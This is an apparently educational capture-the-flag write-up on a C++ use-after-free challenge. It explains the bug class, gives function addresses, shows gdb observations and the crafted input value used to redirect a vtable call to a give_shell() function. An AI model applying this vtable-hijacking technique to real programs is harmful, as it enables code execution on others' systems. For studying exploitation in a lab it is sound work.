Mommy, what is Use After Free bug?
UAF(Use After Free) bug happens when reallocating memory of the same size. When memory is freed, the data in the memory is still there. It dosen't disappear. And when same size of memory should be allocated, the memory that was freed previously is reallocated containing the previous data. If there is malicious action after it is freed, the malicious data is allocated. This is UAF bug.
In the c++ code above, There are 3 cases in the "switch()". "case 1:" is the action of allocating memory, "case 2:" is the malicious action, "case 3:" is action of freeing memory. Therefore, in order to implement the UAF bug, You must execute with order 1→3→2→1.
What is important is how to do malicious activity in "case2:". It would be good to use "give_shell ()" of "Class Human". Let's take a closer look.
First I checked the memory address of some functions.
□ 0x40117a = give_shell()
□ 0x401192 = Human->introduce()
□ 0x401376 = Woman->introduce()
□ 0x4012d2 = Man->introduce()
① "eax" is compare with "0x1" and It goes to <main+265>. This means that it is "case 1:"
② "case 1:" is between two same "jmp 0x4010a9(="break;")" and it is separated two section by same pattern.
③④ The data of "rax" is moved in "rdx" and "rdx" is called. Therefore, the "rax" at point ③ will be pointing "introduce()" method.
So I set breakpoint at <+265>(=0x400fcd) to check "[rbp-038]" that is the source of the "rdx". The information of the Human class may be there.
I checked the address and found "give_shell ()". therefore, "0x00401570" should be in "rax" at point ③ or "0x0040117a" should be in at point ④.
Now let's see the effect of "case 2:".
I inputtedThe 4 bytes("\x42\x42\x42\x42") for "argv[1]" and the path "/tmp/uaftlext" for "argv[2]" for the program. And I selected in order 1→3→2→2→1. As a result, "rax" has been replaced with "0x42424242" + "0x08". More than twice inputting data(2) is effective, the once is not.
I inputted the value "0x00401568" = "0x00401570" - "0x08".